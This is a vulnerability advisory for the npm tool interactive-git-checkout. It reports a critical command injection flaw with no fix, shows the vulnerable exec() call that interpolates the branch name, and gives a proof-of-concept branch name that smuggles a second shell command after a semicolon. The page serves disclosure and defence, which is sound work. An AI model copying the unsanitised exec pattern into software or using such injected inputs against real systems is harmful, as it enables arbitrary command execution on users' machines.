Critical

interactive-git-checkout has a Command Injection vulnerability

  • Disclosed: 10.09.2025
  • Updated: 11.10.2026 10:22

The npm package interactive-git-checkout is an interactive command-line tool that allows users to checkout a git branch while it prompts for the branch name on the command-line. It is available as an npm package and can be installed via npm install -g interactive-git-checkout.

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Command Injection Vulnerability

The interactive-git-checkout tool is vulnerable to a command injection vulnerability because it passes the branch name to the git checkout command using the Node.js child process module's exec() function without proper input validation or sanitization.

The following vulnerable code snippets demonstrates the issue:

js
const { exec: execCb } = require('child_process');
const { promisify } = require('util');

const exec = promisify(execCb);

module.exports = async (targetBranch) => {
    const { stdout, stderr } = await exec(`git checkout ${targetBranch}`);
    process.stderr.write(stderr);
    process.stdout.write(stdout);
};

Exploit Proof of Concept

  1. Install the interactive-git-checkout package (as suggested by the package's README):
bash
npm install --global interactive-git-checkout
  1. Run the executable exposed by the installed package:
bash
$ igc
  1. When prompted, enter the following branch name:
bash
hello ; echo 'Command Injection Vulnerability Exploited!' > /tmp/command-injection.txt; #

Vulnerable versions

All versions of interactive-git-checkout are vulnerable to this issue, up to and including to the latest version of 1.1.4.

Author

Liran Tal

Affected software

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PlatformPackageVulnerable versionsFixed in
npm package interactive-git-checkout <= 1.1.4 no fix

References

CVSS score 9.8/10
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Weakness (CWE)
CWE-77
Platform
npm
Package
interactive-git-checkout
Disclosed
10.09.2025
Updated
11.10.2026 10:22

Sources and licenses

OSV / GitHub Advisory Database - GHSA-4wcm-7hjf-6xw5 - CC BY 4.0

Vulnerability history: interactive-git-checkout

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This is the only known vulnerability of this package.

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